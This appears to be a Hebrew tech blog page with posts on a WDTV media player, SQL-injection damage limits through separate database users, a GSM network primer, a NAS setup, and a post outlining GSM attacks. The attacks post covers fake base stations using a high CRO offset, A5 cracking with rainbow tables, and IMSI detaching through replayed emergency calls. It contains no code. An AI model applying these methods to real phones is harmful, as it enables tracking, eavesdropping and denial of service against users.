מבדיקה שאני עשיתי מחשב כזה עולה בסביבות ה1600-2000 שקל מינימום, והוא עם מאווררים על המארז, ולא בטוח עד כמה הוא מסוגל לנגן HD מלא באמת.

  • XBox 360

מסוגל לנגן HD, תומך בהרבה פורמטים, יש לו ממשק מוכן למדיה סנטר, עולה גם אותו דבר כמו המחשב.. בערך 1600 שקל.
וגם מקבלים את הערך המוסף של משחקים על הטלוויזיה.
החסרון הוא כל הנעילות שמיקרוסופט עשו לו, ולך תדע מתי הם יחסמו אותך אם תשתמש במשחקים פרוצים.

  • PS3

כמו XBox עולה קצת יותר (1800 ש"ח), וכרגע לא נראה לי שיש פריצה בשביל המשחקים שלו, אז משחקים מקוריים עולים הרבה.
לפי מה שקראתי הדבר הזה מפלצתי ומתחממם מהר, אבל מה, יש לו כונן Blu Ray, זה טוב לסרטים.

  • WDTV HD Media Player

כשראיתי את הדבר הזה לא האמנתי שהוא מנגן HD, אבל מסתבר שהוא כן.
הוא ממש קטן, ללא מאוורר, מעוצב בצורה טובה, וממלא את המטרה היחידה שלו בחיים, לנגן HD מתוך USB Mass Storage Device.
הדבר הזה פותח עולמות חדשים, עולם של להביא את הנגן שלך לחברים שלך יחד עם סרטים.
אתה לא תסחב עם מחשב או XBox או PS3, אבל את הדבר הזה יותר פשוט לקחת מכונן קשיח חיצוני 3.5 אינצ', הוא יותר קטן ממנו.

למה WDTV

WDTV

WDTV


הוא זול, 650 ש"ח ויש לך את הדבר הזה מוכן ומזומן להריץ לשדר דברים מעל HDMI.
יש לו יציאת Composite למקרה ולמישהו אין HDMI.
יש לו יציאה אופטית לAudio, מה שפותח את האפשרויות של קולנוע ביתי.
הוא מריץ לינוקס, על מעבד שעובד על MIPS.

עולם האפשרויות

הפעם אני לא הראשון שעושה לזה האקינג, וכל העולם כבר כותב לזה Modים וFirmware משודרג.
אפשר למצוא הרבה מאד דברים כאן: http://www.wdtvforum.com
עכשיו שאמרנו שזה מריץ לינוקס בואו נעבור על כמה רעיונות שאפשר לעשות איתו.

  • לחבר כרטיס רשת לUSB

ניגון מכונן רישתי, סטרימינג מהמחשב, הורדת דברים ישירות אליו, Youtube, Trailers, Bittorrent, וכו'

  • לחבר כרטיס רשת אלחוטי

אומנם יותר בעייתי לעשות סטרימינג מעל אלחוטי, אבל לשלוט עליו ולהעביר אליו דברים מהמחשב בצורה פסיבית, זה מצויין.

  • לחבר USB Hub

ואז 2 הפורטים המסכנים יהפכו להרבה יותר, והרבה יותר מקום לחבר אליו אחסון.

  • מקלדת עכבר וDebian

מי שלא יודע יש Debian על כל חבילותיו לMIPSEL, אז אפשר כנראה להתקין את זה עליו ופשוט יש לך מחשב חזק עם לינוקס שמסוגל לנגן HD.
תחבר אליו מקלדת אלחוטית, עכבר אלחוטי, ויש לך מחשב סלוני עם מסך ענק. 🙂

לסיום

בערך חצי מהסיבה שבחרתי במכשיר זה בגלל שהוא מריץ לינוקס, ויהיה כיף להתעסק איתו אחרי זה, לראות את הקהילה שלו מפתחת לו דברים, ואולי לתת יד בעצמי ולהוסיף דברים מעניינים למכשיר.
מקווה שלא שיעממתי אותכם יותר מדי,
תגיבו אם יש משהו מעניין שתרצו להגיד.

14 Comments :, , , , more...

למה מתייחסים לSQL שונה?!

by on יול.14, 2009, under כללי

הקדמה
קיימים הרבה מאוד סוגים של פרצות אבטחה, לדוגמא XSS, אני יכול להבין למה XSS קורה, הרי לפעמים יש מקרי קצה שבהם רוצים לתת למתכנת יכול לכתוב html, או לחלופין, קשה לבקר (לא באמת, אבל נניח) כל כתיבה שאנחנו מבצעים ולכן אפשר לפספס ובטעות לכתוב מחרוזת ששכחנו לעשות לה escaping.
אותו דבר אני יכול להגיד על buffer overflow (גם לא באמת, אבל נניח) וישנן עוד הרבה פרצות שעליהן אפשר להגיד אותו דבר (לפעמים המצב עגום יותר ולפעמים פחות).
אבל במקרה של sql injection אני פשוט לא מבין איך זה עדיין קיים. אבל לא על זה מדובר בכתבה, אלא על הבעיתיות והקלת הראש שאנשים מייחסים לשרת sql שלהם.

תיאור הבעיה הנפוצה
כידוע Sql injection קורה כאשר המשתמש מצליח להשפיע על המחרוזת המכילה את השאילתא שאנחנו מריצים על ה db כך שהשאילתא תבצע פעולה שלא רצינו שתקרה.
אוקיי, זו פרצה נחמדה, טריק מגניב, רעיון יפה, אבל למה זה עדיין קורה? הרי יש שתי פתרונות מאוד פשוטים למניעת הבעיה!

פתרונות נפוצים
1. לעטוף את פונקציות אחזור המידע מהמשתמש, לדוגמא את הקריאה של ערכי ה get או ה post בפונקציית עזר שעושה escaping (כמובן שצריך טיפול שגם לוודא שמדובר במספר ולא בטקסט כאשר מעבירים פרמטר נומרי, אבל גם זה פתיר בצורה דומה) ולא לתת לאף מפתח באתר להשתמש בדרך השניה. האם זה באמת כ"כ קשה? אני חושב שלא.

2. להשתמש בפונקציות מיוחדות בשפה (אם קיימות במקרה המדובר) אשר נותנות לעביר כפרמטרים את הנתונים שמתקבלים מהמשתמש וככה הבאג הזה בכלל לא קיים, כי מתייחסים לזה בתור אובייקט ולא מחרוזת משורשרת, לדוגמא sqlite ב python מאפשר את זה בקלות.

אז איך זה שאנשים עדיין לא עושים את זה? מעבר לבינתי.

הבעיה האמיתית ופתרון בשבילה
הפתרונות שהצגתי כמובן נפוצים ומשתמשים בהם בכל מיני מקומות, והם הדרך לטיפול בבעיה, אבל לא מעט פעמים נתקלים בכל זאת בפרצות. אבל זה בהחלט לא מספיק!
הבעיה האמיתית היא, איך בכלל הגענו למצב שבו כל מה שאנחנו צריכים זה לקרוא מידע מ"טבלאת הידיעות של האתר" ובכל זאת יש לנו הרשאות כתיבה\קריאה ל\מטבלאת המשתמשים?
כל איש אבטחה יודע שהדבר הראשון שעושים זה "הפרדת סמכויות" כי בסופו של דבר, לא משנה כמה ה firewall שלך חוסם כל תעבורה וכל התוכנות שאתה משתמש בהן לא פגיעות, אם ל guest account שלך יש הרשאות root, יהיה לך גהנום בשרת 🙂
בכל שרת sql בתחום יש שמות משתמש וססמאות, יתרה מכך, לכל שרת יש תמיכה באפשרויות הגבלת גישה מתקדמות.
אז למה אנשים לא משתמשים ב user אחד בשביל לקרוא\לכתוב מהטבלאת משתמשים, ביוזר אחר בשביל לקרוא מידע וביוזר אחרון בשביל לכתוב מידע? (כאשר מידע = הכל חוץ מטבלאות משתמשים) או אפילו אם צריך לפצל את זה עוד יותר (לדוגמא מידע אישי רגיש יהיה מפוצל מהבלוג של האתר).

ההנחה שלי היא: עצלנות.

אומנם הפתרון הזה לא ימנע sql injection אבל הוא בהחלט ימנע את גודל הנזק אם בכלל שיהיה אפשר לעשות עם הפרצה. הרי רוב ה"שדות הפגיעים" נמצאים ב headers של HTTP או שדות אחרים שנועדו לאחזור מידע, השדות של הססמה, שם משתמש או כתיבת מידע בד"כ בטוחים. (אנשים שמים יותר דגש). בנוסף, נניח ומישהו מצא פגיעות בשדה אחד, זה גורר פגיעות רק בחלק הממודר הספציפי של האתר, ולא בחלק אחר שתחת יוזר sql אחר.לכן, כמו בכל תחום אחר באבטחת השרת שלכם, גם פה כדאי להשקיע קצת ולבחור חלוקת גישות בצורה חכמה.

אני מקווה שתפיקו לקחים ותיישמו, כי בסופו של דבר, זה השרת שלכם.

הערה חשובה:
אני יודע שלא תמיד יש לכם גישה ליצירת גישות (לדוגמא שרת חינמי) אבל כל עוד אתם משלמים על השרת, זכותכם לדרוש כמה יוזרים שתרצו! ככה שזה לא תירוץ!!!

הבהרה קטנה:
אמרו לי שלא הבהרתי מספיק טוב את עמדתי לגבי הנושא, אז הבהרה קטנה:
אני לא חושב שבכלל צריך להגיע למצב שבו ליוזרים השונים ב DB יש משמעות אמיתי, כלומר, כמו שכתבתי בהקדה, אני לא רואה איף בכלל אפשר להגיע למצב העגום שבו יש לך SQL Injection בקוד, או בקיצור, תכתבו נכון ותכתבו בטוח ותחסכו לעצמכם בעיות. אבל תמיד טובה עוד שכבת הגנה 🙂

23 Comments :, , , , more...

אבטחה ופרצות ברשת ה GSM

by on מרץ.11, 2009, under כללי

אז עם הטכנולוגיה של היום, אני כנראה לא אחדש לכם הרבה כשאני אגיד לכם שאפשר לפרוץ סלולר..
הBluethooth דלוק כל הזמן? יום אחד תשבו בבית קפה ותגלו שמישהו שיושב עם הלפטופ שלו מולכם גנב לכם את הזיכרונות והמולטימדיה מהכרטיס זיכרון..
תתקינו תוכנות לא מוכרות על הפלאפון שלכם ויכול מאוד להיות שהאינפורמציה הפרטית מהמכשיר שלכם תשלח לשרתים שונים באינטרנט בלי ידיעתכם בכלל.

למי מכם שקרא את הכתבה הראשונה כנראה כבר הבין שהכתבה הזאת בכלל לא הולכת לדבר על סוגי תקיפה כאלה (בגלל שהן לא קשורות בכלל לGSM או סתם בגלל שהובלתי אותכם לכיוון אחר).
התקיפות שאני מדבר עליהן הן מסוג שונה לגמרי. כפי שהבנתם כבר ספקית הGSM שלכם לא צריכה להזדהות בפניכם, אז מה מונע מכל פורץ להיות הספק שלכם?
התשובה היא בדיוק כלום. כל בן אדם היום עם החומרה הנכונה והידע הנדרש יכול להיות הספקית שלכם, או לדייק קצת יותר… "לגנוב" אותכם מהרשת שלכם.

מתקפה אקטיבית

מה צריך?
1. לב GSM + סט אנטנות, רכיבים אלה ימלאו את תפקיד התא ברשת ה GSM
2. מחשב – שימלא את תפקיד הבקר והמרכזייה ברשת הGSM
כל מי שיש לו את הציוד הזה יכול לפתוח רשת GSM משלו, הוא אומנם לא יוכל באמת למתג שיחות או לחבר אותכם לאנשהו (לפחות לא בלי איזה האק מגעיל ומכשיר נוסף ברשת אחרת), אבל הוא יוכל לגרום לפלאפון שלכם (או כל פלאפון אחר) להאמין שזה אפשרי,

וזה כל מה שהפלאפון שלכם צריך בשביל להתחבר לרשת GSM.

אבטחה כל כך נמוכה שכל אידיוט בערך יכול לגנוב אותכם מהרשת שלכם, וברגע שגנבו אותכם מהרשת שלכם האפשרויות אין-סופיות.

איך זה קורה?!
אז למה בעצם שהפלאפון שלי יעבור לתדר ביקון אחר שהוא לא של הרשת? בתכלס, אין בזה שום הגיון עד שמביטים בצד הטכני של הסיפור הזה.. פלאפונים במצב IDLE (כלומר שלא משדרים), מחוברים לרשת,  או יותר נכון "קוראים" נתונים מהרשת (מהתדר ביקון), פעם בכמה זמן (הסבר הלא טכני של הפעולה) הפלאפון מתחבר למאית שנייה לרשת, מודיע שהפלאפון עדיין דלוק (המנוי עדיין מחובר), מודיע על המיקום שלו וזהו, אם  פעולה זאת לא תתבצע פעם בזמן מוגדר הרשת תחשוב שהמכשיר כבוי – ממש כמו PING.
אז איך בעצם פלאפון מתנייד? פלאפון עובר מביקון לביקון עם התחשבות בתדר ביקון שהוא קולט הכי טוב, ככה במהלך נסיעה קצרה בת"א הפלאפון הממוצע עובר בערך 5 תדרי ביקון שונים.  מכיוון שכל תדרי הביקון בעולם עוברים באוויר, כל הנתונים שלהם פתוחים לכלל הציבור ואינם מוצפנים, ולכן לחקות תדר ביקון זה דבר מאוד מאוד פשוט… סה"כ Copy/Paste  של הנתונים מהאוויר.

ולמה שהפלאפון שלי יעבור דווקא לתדר ביתי שמישהו משדר כשיש באוויר כל כך הרבה תדרים של רשתות גדולות שמוגברות ומשודרות בעוצמה הרבה יותר גבוהה? כאן הקסם מתחיל. כל ביקון משדר נתון מסויים שנקרא CRO (Cell Reselect Offset), הנתון הזה נועד לווסת את השימוש ברשת לתאים השונים. לדוגמא, בואו נדמיין קניון גדול עם המון אנשים, ליידו (ממש 20 מטר ממנו) יש תדר ביקון וכל המשתמשים בקניון מתחברים לאותו תדר ביקון, למה? כי הוא הכי קרוב והפלאפון קולטים אותו הכי חזק? אבל זהו לא מצב אידיאלי, הרשת לא רוצה שהעומס יהיה על תדר אחד.
הרשת רוצה שהעומס יתחלק בין כל התאים שלה, ולכן היא תשים תא קצת יותר רחוק (100 מטר מהקניון) ותשים לו CRO גבוהה, מה שיגרום למכשיר לחשוב שהוא קולט את התדר הזה אותה העוצמה כמו את התדר הקרוב (אם לא יותר טוב) ולכן העומס מהקניון יתחלק בין שני התאים הקרובים לקניון. אבל מה? הרשתות הישראליות הגאוניות שלנו החליטו לא לווסת עומסים אלא פשוט לשים הרבה תאים בכל מקום, ולכן הן לא משתמשות בנתון ה
CRO, מה שנותן לכל טמבל את האפשרות לפתוח תדר משלו עם CRO גבוה ולגנוב את כל ת"א במידה וירצה בכך.

זה היה ארוך, מקווה שלא איבדתי אף אחד, מקווה שהבנתם את הרעיון הכללי, ואם לא אתם פשוט תצטרכו להאמין לי, כל בן אדם עם חומרה מספקת יכול לגנוב כל פלאפון בארץ בלי בעיות בכלל 🙂

לאחר שגנבתי פלאפון אני יכול לעשות איתו כל דבר שאני רוצה, החל מלאכן (לגרום למכשיר לשדר, למדוד את התאים שנמצאים מסביבו, לקבל נתון "TA" מכל אחד מהם ואיתו אפשר לחשב בדיוק לא רע את מיקום הפלאפון), האזנה לרעשים שמסביב לפלאפון, התקנות אפליקציות ריגול דרך האוויר, שלל פעולות שמתבצעות דרך פקודות AT כמו במודם ועוד הרבה דברים אחרים.

מתקפה פאסיבית

מה צריך ?

USRP – סורק תדרים שאנחנו יכולים לתכנת

איזה טארהבייט של Rainbow tables – כדי לפצח את ההצפנה מסוג A5

או לחלופין, קלאסטר עם איזה 32 FPGAs  שיוכל לפצח את ההצפנה בזמן אמת (וכנראה לגרום לשריפה מתישהוא תוך כדי)

איך זה קורה?

ובכן השיטה יחסית פשוטה ולא דורשת הרבה חשיבה, אנחנו קולטים באוויר מידע מוצפן ומפענחים אותו לטקסט או לקול.

מה שיפה בשיטה הזו זה שהרשת לעולם לא יכולה לדעת שאנחנו מבצעים את המתקפה מכיוון שאנחנו לא משדרים שום דבר ולא דורסים תדרים אחרים על הדרך.

השיטה מוגבלת מהרבה בחינות – קודם כל האלגוריתם של A5 מסורבל ולא קל לפיצוח, לכן עדיף לחשב מראש את כל התוצאות האפשריות, וגם אז יקח זמן לעבור על כולם. למיטב ידיעתי ישנם מספר אנשים שכבר עשו זאת וכעת מוכרים מערכות האזנה מוכנות לכל מיני גורמים, בעיקר בתחום האכיפת חוק בחו"ל.

המתקפה הפאסיבית טובה רק אם נרצה להאזין למטרה – שכן אין לנו שליטה על המכשיר הסלולארי.

IMSI DETACHING

טוב, אם לא הבנתם או קראתם עד עכשיו אז אני אזכיר לכם שה IMSI הוא המזהה שלכם ברשת ה GSM.

הוא לא קשור ל IMEI של המכשיר אלא קשור לסים שאיתו אתם נרשמים ברשת.

נניח שאתם מוציאים שיחה, הרשת תשתמש ב IMSI שלכם כדי להגדיר שאתם לא זמינים כרגע. אז איך בעצם אפשר לנצל את זה? תחשבו על שיחה שאינה דורשת הזדהות או הצפנה ברשת…מכירים סוג כזה של שיחה ? לא? תוציאו את הסים מהפלאפון שלכם….איזו שיחה אתם יכולים לבצע במצב הזה? אני אניח שכבר הגעתם לתשובה.

איך זה קורה ?

מכיוון ששיחת חירום אינה דורשת הצפנה, אנחנו יכולים "להקליט" את המידע שנשלח ממכשיר לרשת ה GSM בעת ביצוע שיחת חירום. אנחנו נראה את הפאקטים עפים באוויר ללא הצפנה, נוכל לערוך את ה IMSI שנשלח ולהכניס במקומו IMSI של מישהו אחר ולשדר את המידע מחדש.

למה זה טוב? הרשת תרשום לעצמה שהמספר הנ"ל נמצא בשימוש, באמצע שיחת חירום, ולכן הוא לא יהיה זמין אם ינסו להתקשר אליו. את השימושים לשיטה הזו אני אשאיר לדמיון הפרוע שלכם 😉

אני לא בטוח שהשיטה פומבית ולכן אם זה מפריע למישהו שזה נמצא כאן – תכתבו לנו.

זהו,

זה הכל אולי בעתיד אני אוסיף עוד מתקפות ועוד מידע אבל בינתיים אני חושב שכתבתי מספיק 🙂

עוד מידע מעניין:
http://www.scribd.com/doc/7227619/Cracking-a5-THC-Wiki
http://wiki.thc.org/gsm
http://openciphers.cvs.sourceforge.net/openciphers/gsm/a5/

8 Comments :, , , , , more...

הקדמה לרשתות GSM

by on פבר.26, 2009, under כללי

GSM – Global System for Mobile Communications – הבסיס

תקן עולמי לתקשורת סלולרית לאלה שלא כל כך מבינים אנגלית. כמויות מטורפות של רשתות ומשתמשים מסביב לעולם בתקן הנהדר הזה,
בכלליות רעיון גדול, כלומר, מי חשב שנוכל יום אחד לדלג בין ספקיות סלולר? לעבור מדינה עם אותו כרטיס SIM? לקבל שירות  מבלי להחליף שום חלק בפלאפון או אפילו "לקנפג" מחדש את המידע הקיים. אז אין ספק שהרעיון גדול… לגבי היישום? את זה אני אשאיר לכם להחליט..
הכתבה הזאת נכתבה במיוחד עבור בלוג BinaryVision ובאה להסביר קצת על בסיס מבנה רשת הGSM ואולי לזרוק כמה רעיונות לאוויר.

מבנה הרשת הסלולרית הוא די פשוט, אני אעבור עליו בקצרה מהצד של הרשת עד לצד המשתמש, ואפרט פה ושם על מה שאני חושב שמעניין..
בכלליות ההסבר עלול להיות פשוט למי שמבין או מסורבל ומסובך (וחופר) לאנשים בלי הבנה בסיסית ברשתות סלולר סטנדרטיות, לכל המתקשים אני מצטער מראש, אשמח לענות על כל שאלה שתצוץ בתגובות..

המרכזיה (MSC – Mobile Switching Center)

כמו בכל רשת סטנדרטית, צריך להיות איזשהו רכיב שממתג את השיחות, בגדול, זהו תפקידה העיקרי של המרכזיה, המרכזיה בנוסף למיתוג שיחות, מחזיקה בתוכה כמה רכיבים קטנים עליהם אפרט:
HLR (Home Location Registry) – המרכזיה הביתית, המחזיקה את כל האינפורמציה של המשתמשים "הביתיים" של הרשת, לדוגמא, אם אתה לקוח של אורנג', המרכזיה הביתית של אורנג' מחזיקה את כל האינפורמציה שלך, כשאני אומר כל האינפורמציה אני מתכוון החל מכל הנתונים הטכניים של המכשיר שלך עד למס' כרטיס האשראי  שלך, הכל.
VLR (Visitor Location Registry) – המרכזיה המארחת. נסעת פעם לכיוון אילת וקיבלת הודעה שנכנסת לרשת הירדנית? זה אומר שנרשמת במרכזיה המארחת הירדנית. תפקידה של המרכזיה המארחת היא לתקשר עם הרשת הביתית שלך (דרך סיבים כלשהם), לשמור את האינפורמציה שלך ואת זמני השימוש שלך (בשביל לחייב אותך בהמשך דרך הרשת הביתית שלך..). או בעצם, לשמור את כל המידע הלא קבוע ברשת.
OMC (Operation and Maintaince Center) – בגדול, מרכז תחזוקה ותפעול של הרשת, כל בעיה ברשת נרשמת בלוגים ואף לרוב מטופלת בצורה אוטומטית ע"י הרכיב הזה.
AUC (Authentication Center) – מרכז אימות הנתונים של הרשת, שם מתבצע תהליך האימות של משתמש מול הרשת המארחת שלו. עליו תשמעו עוד בהמשך :>.

הרכיב הבא הוא הבקר, התקשורת בינו לבין המרכזיה מתבצעת דרך פרוטוקול שנקרא A ועובר בשיטת ריבוב E1*.

הבקר (BSC – Base Station Controller)

הבקר הינו רכיב שכל המשמעות שלו היא לשלוט על תדרי הרדיו באוויר, תפקידו להקצות לתאים ולמשתמשים תדרים על בסיס מקום פנוי ועומסי רשת.

הרכיב הבא הוא התא, התקשורת בינו לבין הבקר מתבצעת דרך פרוטוקול שנקרא ABIS וגם כן עובר בשיטת ריבוב E1*.

התא (BTS – Base Transceiver Station)

התא מורכב מלב (המייצר אותות GSM) ומסט אנטנות (כיווניות או כלל כיווניות), התפקיד העיקרי הוא לקלוט ולשדר, לא משהו מסובך מידי, בלי קשר לתקשורת ישירה מול משתמשי הקצה, התא משדר כל הזמן תדר שנקרא תדר "ביקון", התדר נועד להודיע למשתמשי הקצה שיש להם לאן להתחבר, כלומר, התא בעצם צועק: "אני תא של חברת (שקר-כלשהו), אתה לקוח שלנו לא? אתה מוזמן להתחבר אלי."
תדר הביקון שולח המון פרטים טכניים למשתמש במטרה שבסופו של דבר משתמש הקצה יבחר את התא שהכי טוב לו לשימוש (הכי קרוב, או בעצם התא שיספק את השירות האופטימלי למשתמש..).

הרכיב הבא והאחרון בשרשרת הלוקלית של רשת GSM הוא בעצם משתמש הקצה, נקרא לו MS  (Mobile Station) ונפרט עליו מיד, אבל לפני אגיד שהMS מתקשר עם התא בפרוטוקול שנקרא P, ברשת GSM מתוקנת זהו הפרוטוקול היחיד שעובר באוויר.
תדר בפרוטוקול P  מחולק ל8 Time Slots, ההמוספרים מ0 עד 7, שתמיד בTS0 עובר לו תדר הביקון עליו דיברנו בקצרה.

משתמש הקצה MS (Mobile Station)

הגענו עד למשתמש הביתי ברשת הGSM, אותו אפשר לחלק בצורה די ברורה לשני חלקים:
ME – Mobile Equipment –  מכשיר הפלאפון + אנטנות, המכשיר מחזיק עליו זהות חשובה שנקראת IMEI, זהות שאמורה להיות יחידה בעולם (כמובן אם לא היו צורבים). 5 הספרות הראשונות בזהות הזאת אמורות להצביע על מודל המכשיר שבידך. את ה IMEI אפשר להשיג ע"י לחיצת *#06* או לפתוח את המכשיר באיזור הבטריה ולקרוא את המס' הסידורי שלו (הIMEI).
SIM – Subscriber Identification Module – או בעצם הזהות שלנו מול הרשת.. מחזיק את כל הזהויות שלנו בתור משתמשי רשת, IMSI (המספר שאנחנו לא רואים אבל מזהה אותנו כמשתמשים מול הרשת), Ki (הקוד זיהוי הראשי שלנו מול הרשת, או בעצם הדרך של הרשת לאמת את זהותנו).

האינפורמציה שנשמרת במכשיר שלנו ובSIM (למעט זיכרונות והתמונות וכל המולטימדיה שאנחנו מוסיפים) נשמרת גם במכשיר שלנו וגם ברכיב הHLR של המרכזיה, הם צריכים לוודא שהם לא מתעסקים עם פושעים לא? הם צריכים לדעת מי אנחנו..

עכשיו שסיימנו לעבור בצורה בסיסית למדי על מבנה רשת הGSM, בוא נגע בקטנה במערך האבטחה..
בכלליות, ב99% מהפעולות שמשתמש עושה מול הרשת (שמצריכים מהרשת להקצות תדר למשתמש), המשתמש צריך להזדהות.. הגיוני עד לכאן לא? בוא נדבר קצת על תהליך הזיהוי..

אבטחה ברשת GSM

ברכיבי הAUC+HLR של המרכזיה נשמרים טבלאות של צימודים של IMSI (אמרנו שזהו המזהה שלנו מול הרשת או בעצם המס' שלנו) + Ki (המספר אימות שלנו שידוע לאף אחד חוץ מאיתנו ומהרשת) ועוד כל מיני אינפורמציה שאינן רלוונטיות ללמסמך זה כרגע.
תהליך הזיהוי מתבצע בצורה הבאה (זהו פירוט לא טכני וללא הודעות ספציפיות, אלא ההליך מוסבר בעברית כפי שהוא קורה):
1. המשתמש אומר לרשת "הלו? אני צריך להזדהות, אני מוציא שיחה/שולח SMS/מתחבר לאנשהו. יאללה בואי נתחיל את תהליך הזיהוי.."
2. המרכזיה הביתית אומרת למשתמש "אין בעיה סחבק, אנחנו מתחילים", בשלב זה המרכזיה יוצרת מס' רנדומלי באורך 128 ביטים, שולחת אותו למשתמש (כמובן שהמס' גם על הדרך עובר בפרוטוקול P שעובר באוויר כמו שאמרנו).
3. המשתמש מקבל את המספר הרנדומלי, לוקח את זהות ה Ki שלו + את הIMSI שלו + את המספר הרנדומלי שהרשת יצרה ומכניס את כל המשתנים האלה לאלגוריתם אינקריפציה חד כיוונית (סגנון HASH) שנקרא A5. משם מתקבלים שני מספרים, הראשון הוא SRES שנוצר למטרה היחידה של להצפין את הגל האלקטרומגנטי שעובר באוויר + מספר הזיהוי הסופי שלנו. האינפורמציה נשלחת למרכזיה הביתית.
4. המרכזיה בגדול עשתה את אותו התהליך שהמשתמש עשה, עכשיו היא קיבלה את האינפורמציה מהמשתמש ויכולה להשוות, ולראות אם המשתמש הוא באמת מי שהוא טוען שהוא.. אפשר לשים לב למודעות הקטנה לאבטחה, הKi לא עובר באוויר בשום שלב. אבל הנה הקטע ההזוי..
5. בהנחה שהרשת זיהתה את המשתמש היא שולחת לו הודעת Authentication Success וממשיכים בפעולה שהמשתמש רצה לעשות, ואם הזיהוי נכשל היא שולחת Authentication Failed ומנסים עוד פעם..
הזוי לא?! כלומר הרשת מוגנת מפני פריצות, כפי שבטח שמתם לב היא השולטת הגדולה בהליך האימות, סלולר זה לא אינטרנט, זה קצת מסובך פשוט לחסום את מי שמנסה לעשות לך BRUTEFORCE. אבל מה איתי? משתמש הקצה? אני לא צריך איזשהו אימות לגבי זה שאני מדבר עם הרשת שלי באמת? או שאני פשוט אמור לזרום עם מה שמביאים לי..
בגדול ברשתות המבוססות על תקן UMTS (דור שלישי) כל העיניין הזה תוקן, כלומר, גם הרשת צריכה להזדהות מול המשתמש כנותנת השירות. אבל בGSM העיניין לא מתבצע ככה, מה שהופך את כל העיניין לפריץ, יש לכם רעיונות פריצה? תכתבו לנו בתגובות.. אם לא אני פשוט אתן לכם קצת חומר למחשבה במאמר הבא שיעלה לקראת הסופ"ש (או במהלכו)..

  • E1 – שיטת ריבוב לנתוני טלפוניה המעבירה 2.048 מביט לשנייה ומחולק ל32 ערוצי זמן (PCM). כל PCM מחולק ל8 TS. כל TS מסוגל להעביר 8 קילובי\ט לשנייה. PCM0 וPCM16 הם ערוצי סינכרון ואיתותים בהתאמה ואינם משמשים להעברת נתוני שיחה.
    • ראוי לציין שלא אני כתבתי את המאמר, אלא אדם חביב שאינו מעוניין בפרסום שמו 🙂 תודה
8 Comments :, , , , , more...

הקמת NAS ושינוי תשתיות

by on פבר.07, 2009, under כללי

BR-6215SRg Front

BR-6215SRg Front

מצאתי איפה לקנות את הNAS שרציתי,
קניתי Edimax BR-6215SRg!

מה יש לו:

  • 4 כניסות RJ45 בשביל LAN שעובדות בתור Switch
  • עוד כניסה RJ45 בשביל WAN שאפשר לחייג בו לADSL וכו'
  • Wifi 802.11b and 802.11g עם כל האבטחה של ימינו. מסוגל לעבוד בתור AP וגם WDS
  • שני כניסות USB 2.0 לחיבור כוננים חיצוניים, Disk On Key, או מדפסות

הרשת שלי לפני השינויים

BR-6215SRg Back

BR-6215SRg Back

  • מודם USB/ETH של B-Focus שקיבלתי מבזק, שכרגע מחייג בעצמו ומתנהג כראוטר (מריץ DHCP,DNS)
  • Switch שמחובר אל המודם, ויש לו עוד 7 יציאות
  • מחשב נייח שמחובר עם כבל לSwitch
  • רואטר אלחוטי של Level One שמחובר ביציאת Ethernet היחידה שלו לSwitch
  • מחשב נייד שמחובר אלחוטית לLevel One.

כולם מקבלים IP ישירות מהמודם B-Focus, וגולשים מולו.

מה רציתי לעשות

  • להפטר מהכמות האינסופית של מכשירים מיותרים וכבלים מיותרים
הרשת הישנה

הרשת הישנה

  • להוסיף Storage ענק לשימוש הרשת (ראה ערך "טרה של צרות")
  • אולי להריץ שרת יעודי על החומרה החדשה, להוריד טורנטים?

מבנה הרשת החדשה

  • מודם B-Focus שעובד בתור Bridge מחובר לפורט WAN של המכשיר NAS
  • מחשב נייח שמחובר לאחת מהיצאיות רשת של הNAS
  • מחשב נייד שמחובר אלחוטית לאותו הNAS
  • איכסון חיצוני שמחובר דרך USB גם כן לNAS
  • ברגע שאני אמצא את הכבל של המדפסת, גם היא תחובר לNAS

דברים שאני לא כלכך מרוצה מהם

הרשת החדשה

הרשת החדשה

  • אין חיבור SSH ללינוקס שמורץ בתוך הEdimax, אני אצטרך לפרוץ אותו או משהו, וזה לא יהיה קל (Blind + Not x86).. אולי אני אוכל לתת לו Firmware אחר או משהו…
  • הכונן קשיח החיצוני אף פעם לא נכבה, גם כשאף אחד לא משתמש בו
  • עדיין צריך את המודם המסריח של בזק, לפי מה שראיתי יש מצב שאולי אני אצליח להפתר ממנו אם אני אחליף את החיבור לקיר במשהו שמסתיים בRJ45 ולא RJ11. ואז צריך רק לראות שהWAN Port מסוגל לחיות עם זה בצורה ישירה..

לסיכום

רציתי להריץ טורנטים ברואטר!
זה לא הוגן, אני אצטרך לפרוץ אותו או למצוא דרך אחרת להכנס שם לקרביים של הלינוקס,
אם אני אצליח לעשות משהו אני אעדכן, חוץ מזה, יש רעיונות?

6 Comments :, , , more...

מחפש משהו?

תשתמש בטופס למטה כדי לחפש באתר: